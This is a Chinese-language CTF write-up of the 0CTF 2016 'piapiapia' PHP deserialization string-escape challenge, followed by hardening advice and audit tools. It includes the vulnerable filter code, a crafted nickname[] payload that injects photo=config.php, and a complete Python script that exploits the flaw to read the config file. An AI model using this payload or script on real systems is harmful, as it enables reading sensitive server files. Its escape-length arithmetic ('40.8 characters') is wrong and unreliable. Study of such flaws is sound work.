1. 漏洞背景与挑战场景2016年0CTF赛事中的piapiapia题目是一道经典的PHP反序列化结合文件包含的综合题型。题目环境模拟了一个简易的用户管理系统包含注册、登录、个人信息更新等功能模块。攻击者需要通过代码审计发现隐藏在正常业务逻辑中的安全漏洞链最终实现读取服务器上的敏感配置文件。这道题的核心难点在于如何利用看似严格的输入过滤机制通过精心构造的payload触发反序列化过程中的字符串长度计算错误进而改变程序执行流。具体表现为系统对用户输入的SQL关键词如select/where等会替换为hacker5→6字符反序列化时依赖字符串长度标识如s:5:value通过字符替换造成的长度差异实现属性逃逸2. 环境搭建与初步侦查2.1 题目环境还原首先需要搭建本地测试环境建议使用以下配置PHP 5.6保持与当年比赛环境一致Apache/Nginx MySQL从题目提供的源码包部署完整应用关键文件结构/www/ ├── class.php # 核心业务逻辑 ├── config.php # 包含flag的配置文件 ├── index.php # 登录入口 ├── profile.php # 个人信息展示 ├── register.php # 用户注册 ├── update.php # 信息更新 └── upload/ # 图片上传目录2.2 信息收集过程按照标准渗透测试流程我们首先进行基础信息收集目录爆破python3 dirsearch.py -u http://target/ -e php -t 20发现源码备份文件如www.zip下载后获得完整代码登录框测试尝试SQL注入admin or 11#被过滤尝试弱密码无果发现注册功能可用源码审计重点定位到class.php中的filter()方法发现profile.php存在file_get_contents()update.php包含序列化操作3. 漏洞原理深度分析3.1 反序列化字符串逃逸机制问题的核心在于class.php中的filter方法public function filter($string) { $escape array(\, \\\\); $escape / . implode(|, $escape) . /; $string preg_replace($escape, _, $string); $safe array(select, insert, update, delete, where); $safe / . implode(|, $safe) . /i; return preg_replace($safe, hacker, $string); }当输入包含where时原字符串where5字节替换后hacker6字节每个替换造成1字节增长3.2 序列化数据结构解析正常用户信息序列化后的结构示例a:4:{ s:5:phone;s:11:13800138000; s:5:email;s:10:testqq.com; s:8:nickname;s:4:test; s:5:photo;s:17:upload/xxx.jpg; }关键点在于s:8:nickname中的数字8表示后续字符串长度如果实际长度与声明不符会导致反序列化异常3.3 字符增长利用原理构造特殊nicknamewherewherewhere...;}s:5:photo;s:10:config.php;}经过filter处理后hackerhackerhacker...;}s:5:photo;s:10:config.php;}计算规则每5个where替换为6个hacker需要精确计算替换次数使逃逸部分正好落在photo属性位置4. 漏洞利用实战步骤4.1 注册测试用户首先注册一个合法用户username: test123 password: Test123确保通过所有长度校验3-16字符4.2 构造恶意payload由于nickname有特殊字符限制采用数组绕过方式POST /update.php HTTP/1.1 Host: target Content-Type: multipart/form-data nickname[]wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.php;}精确计算34个where → 40.8字符34*1.2实际需要逃逸的长度为完整photo字段部分4.3 触发文件包含提交更新请求后系统将处理后的数据存入数据库访问profile.php时触发反序列化查看页面图片的base64编码解码后得到config.php内容4.4 自动化利用脚本import requests import re import base64 session requests.Session() # 注册 register_url http://target/register.php session.post(register_url, data{ username: exploit_user, password: Exploit123 }) # 登录 login_url http://target/index.php session.post(login_url, data{ username: exploit_user, password: Exploit123 }) # 构造恶意更新 payload where*34 ;}s:5:photo;s:10:config.php;} update_url http://target/update.php files {photo: (test.jpg, test, image/jpeg)} session.post(update_url, data{ phone: 13800138000, email: testqq.com, nickname[]: payload }, filesfiles ) # 获取flag profile_url http://target/profile.php r session.get(profile_url) img_base64 re.search(rbase64,(.*?), r.text).group(1) print(base64.b64decode(img_base64).decode())5. 防御方案与修复建议5.1 输入验证强化严格限制nickname字段类型if(is_array($_POST[nickname])) { die(Invalid input type); }增加过滤词汇长度检查$filtered preg_replace($safe, hacker, $string); if(strlen($filtered) ! strlen($string)) { log_suspicious_activity(); }5.2 安全的序列化处理使用json替代serialize$profile json_encode($profile); // ... $profile json_decode($profile, true);添加完整性校验$profile unserialize($profile); if(!isset($profile[checksum]) || $profile[checksum] ! md5(serialize($profile[data]))) { die(Data tampered); }5.3 文件包含防护白名单限制包含路径$allowed [upload/avatar.jpg, upload/background.png]; if(!in_array($profile[photo], $allowed)) { $profile[photo] upload/default.jpg; }禁用危险函数// 在php.ini中设置 disable_functions file_get_contents6. 同类漏洞拓展研究6.1 PHP反序列化漏洞变种属性注入// 输入O:4:User:1:{s:7:is_admin;b:1;} class User { public $is_admin false; }魔术方法滥用class Logger { private $log_file; function __destruct() { file_put_contents($this-log_file, $this-log); } }6.2 其他CTF相关题目Web_php_unserialize需要绕过正则检查利用base64编码规避检测php反序列化字符串逃逸进阶多级替换造成的长度变化结合引用的利用方式7. 审计工具与方法论7.1 静态分析工具RIPSjava -jar rips.jar -p /path/to/code自动检测反序列化点标记危险函数调用PHPStanvendor/bin/phpstan analyse -l 7 src/类型系统分析潜在漏洞模式识别7.2 动态测试技巧变异测试def fuzz_serialization(payload): for i in range(len(payload)): for c in [, ;, }]: test payload[:i] c payload[i1:] send_to_server(test)差分分析正常请求与恶意请求的响应对比内存使用监控8. 开发安全规范建议输入处理原则早过滤严格类型检查长度双重验证序列化安全清单- [ ] 避免直接反序列化用户输入 - [ ] 使用签名验证数据完整性 - [ ] 限制反序列化类白名单 - [ ] 记录所有反序列化操作安全编码培训要点危险函数认知unserialize, eval等神奇方法__wakeup, __destruct的风险深度防御策略在实际渗透测试中遇到类似功能点时应当特别关注数据流动路径。我在审计某CMS系统时曾发现通过购物车序列化数据实现RCE的案例其本质原理与本题相同。建议开发者在设计涉及序列化的功能时至少要添加结构校验和签名机制避免裸反序列化操作暴露攻击面。